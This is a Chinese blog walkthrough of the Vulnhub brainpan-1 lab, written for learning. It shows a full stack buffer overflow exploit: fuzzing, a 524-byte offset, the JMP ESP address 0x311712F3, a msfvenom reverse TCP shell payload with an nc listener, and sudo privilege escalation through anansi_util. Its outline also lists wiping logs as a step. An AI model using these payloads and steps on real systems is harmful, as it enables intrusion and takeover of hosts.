• 【甄选靶场】Vulnhub百个项目渗透——项目十七:brainpan-1(windows缓冲区溢出,sudo提权)


    Vulnhub百个项目渗透

    Vulnhub百个项目渗透——项目十七:brainpan-1(windows缓冲区溢出,sudo提权)

    靶场地址


    🔥系列专栏:Vulnhub百个项目渗透
    🎉欢迎关注🔎点赞👍收藏⭐️留言📝
    📆首发时间:🌴2022年9月19日🌴
    🍭作者水平很有限,如果发现错误,还望告知,感谢!


    前言

    本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


    一、梳理流程

    1. 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
    2. 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
    3. 二次收集(基于已得到的服务或者主机再次信息收集)
    4. 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
    5. 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)

    二、使用步骤

    1.web突破

    nmap -sP 192.168.247.146
    
    • 1

    在这里插入图片描述

    发现至开启了9999端口和一个10000的web服务,9999未知,所以先10000

    在这里插入图片描述

    啥也没有

    在这里插入图片描述

    目录爆破,出现bin目录

    在这里插入图片描述

    2.缓冲区溢出突破

    1.本地环境搭建(缓冲区文件获取并本地分析)

    是一个exe文件,但是我们的靶场是一个linux环境,所以这个exe肯定是在linux中的某一个开启了windows的服务

    在这里插入图片描述

    我们在自己的一台windows中下载好这个exe文件,然后利用immunity debugger(id)来对这个exe分析

    直接将这个exe拖到id中,点击上方导航栏的运行,才能开始运行,看到doc中出现了开启了9999端口

    此时此刻,我们大致明白了,靶场的9999端口就是运行了这个exe,那么只要能借助这个exe,我们就能大致模仿linux中的windows环境

    在这里插入图片描述https://github.com/jessekurrus/brainpan
    下载py脚本,当然了你也可以自己写,专栏的下一篇文章写如何自己编写,这个脚本你也可以稍加修改用到以后

    2.模糊测试

    这一步的目的是借助批量产生的无意义的字符来冲击文件,可以得知是否存在溢出的可能

    python2 brainfuzzer.py 192.168.3.101 9999
    
    
    • 1
    • 2

    在这里插入图片描述

    看到连接中断,那么就说明存在溢出,再看下图,左上角已经变黑崩溃了

    在这里插入图片描述

    3.判断溢出点

    locate pattern_create.rb
    /usr/share/metasploit-framework/tools/exploit/pattern_cre
    ate.rb -l 1000   --生成1000位的可以反查的字符
    ---复制粘贴下来然后放法到brainpan1.py在运行
    
    python2 brainpan1.py 192.168.3.101 9999
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    在这里插入图片描述

    在这里插入图片描述到这就可以看到 EIP变成了—35724134

    locate pattern_off
    
    /usr/share/metasploit-framework/tools/exploit/pattern_off
    set.rb -q 35724134    ---反查溢出点
    
    如下图,溢出点在524
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    在这里插入图片描述

    35 72 41 34 因为两个字节是一个字符,所以这样分开 然后计算机中内存的地址按照由低到高的顺序排列存放 也就是说放在最下面的是最先放的
    所以这一组EBP(基底地址)的第一组字节(第一个字符)应该是34,对应的ACSII也就是

    在这里插入图片描述

    以此类推,这一组特殊的内存地址也就是4Ar5

    然后再回去找生成的1000个坏字符,也就是在512得位置

    接下来就是要让这一段内存地址指向我们的shellcode,因为当发生溢出的情况时,系统就会自动调用这一段内存,这一段内存里面存放的是下一跳的信息,他的本意是不因为溢出而产生计算机崩溃,而让程序继续进行,所以我们只需要知道他下一跳的地址以及大小,然后我们构造相对应的shellcode

    4.获得shellcode空间大小

    python2 brainpan2.py 192.168.3.101 9999
    
    • 1

    在这里插入图片描述

    524个字节填满他正常的内存空间,而后就会造成溢出,用B填满他的指向(四个字符),剩下整这么多C就是shellcode的内存可存放大小,借助工具我们就可以知道shellcode可以放多少字节(也就是说我们要知道他最终的内存中保留下来了多少C)

    在这里插入图片描述

    我们这就看到了,查找ASCII表知道了EIP均被B覆盖,EBP均被A覆盖,ESP的位置右键 Follow in dump
    在左下视图右键选择HEX-HEX/ASCII(16),选择16个字节一行娶观察

    在这里插入图片描述

    起始位置005FF910 结束位置是005FFAE0

    在这里插入图片描述

    转换成10进制也就是464,可以放得下一个shellcode

    5.查找坏字符

    因为在不同的协议,功能,等情况下,对于坏字符的敏感度不同,有些不管,有些要管,为了避免这个问题,我们就一刀切,全部排除坏字符

    发送0x01 到0xff

    python2 brainpan3.py 10.211.55.44 9999
    
    • 1

    在这里插入图片描述

    然后我们看右下视图(调整成16位视图)

    在这里插入图片描述
    从右往左读,发现均为正常显示,除了0x00,因为无论何时何地,他都是坏字符

    7.定位shellcode

    因为ESP的地址会变化,这是系统的保护机制,所以我们要找一种可以精确的百分百定位到shellcode的东西,这个东西是JMP ESP
    接着引入mona脚本(识别内存模块的脚本)

    !mona modules
    
    • 1

    最上面ASLR等是保护机制,我们要找一个均是false的,往回看就是这个exe文件,在实际操作中也可能是DLL进程文件,具体问题具体分析

    在这里插入图片描述
    查询到jmp esp字符在内存中的表示来查找位置

    locate nasm_shell
    /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
    nasm > jmp esp
    00000000 FFE4 jmp esp
    
    • 1
    • 2
    • 3
    • 4

    在这里插入图片描述

    利用mona脚本来查找当前文件中jmp esp的存在位置

    !mona find -s “\xff\xe4” -m brainpan.exe

    在这里插入图片描述

    得到结果如下 311712F3
    获得是JMP ESP地址 :0x311712F3

    msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=192
    .168.2.157 -e x86/shikata_ga_nai -b "\x00" -f py
    
    • 1
    • 2

    在这里插入图片描述

    分析一下这个payload:

    JMP ESP 内存地址:\xf3\x12\x17\x31c

    1.524个A用来覆盖掉正常的内存空间,
    2.\xf3\x12\x17\x31c是JMP ESP的地址用来指向shellcode;
    3.后面一大串整型乘\x90是去掉nop空地址(这一段相当于啥也没有,要去掉)
    4.再加上msf生成的反弹shell

    本地再开一个msf生成的时候设置的端口

    nc -nvlp 443
    
    • 1

    在这里插入图片描述

    2.提权突破

    1.信息再收集

    上传提权三脚本,显示出内核版本可以利用,并且可能存在sudo提权

    2.内核版本提权

    没啥说的gcc编译执行

    3.sudo提权

    > sudo -l
    User puck may run the following commands on this host:
        (root) NOPASSWD: /home/anansi/bin/anansi_util
        
    **看到这个就知道可以利用这个目录sudo提权**
    > 先利用python生成一个正常的终端
    > python -c 'import pty;pty.spawn ("/bin/bash")'
    > 
    > sudo /home/anansi/bin/anansi_util Usage: /home/anansi/bin/anansi_util
    > 
    > [action] Where [action] is one of:
    >   - network
    >   - proclist
    >   - manual [command]
    > 
    > 可以执行command! sudo /home/anansi/bin/anansi_util manual cp !/bin/bash id
    > ---获得root权限
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    在这里插入图片描述

  • 相关阅读:
    CMake常用命令(一) cmake_minimum_required
    【Java学习笔记(一百二十七)】面向对象(二)之封装、继承、多态
    Python实现基于Optuna超参数自动优化的Catboost分类模型(CatBoostClassifier算法)项目实战
    下一代大数据分布式存储技术Apache Ozone初步研究
    2023 年新出现的网络威胁,从 AI 到量子计算再到数据中毒
    重学JavaSE 第14章 : 泛型、自定义泛型、泛型通配符
    如何精细化管理嵌入式软件项目?ACT汽车电子与软件技术周演讲回顾
    Windows消息种类
    【python】python的单例设计模式
    JVS开源底座与核心引擎的全方位探索,助力IT智能、高效、便捷的进化
  • 原文地址:https://blog.csdn.net/weixin_65527369/article/details/126914721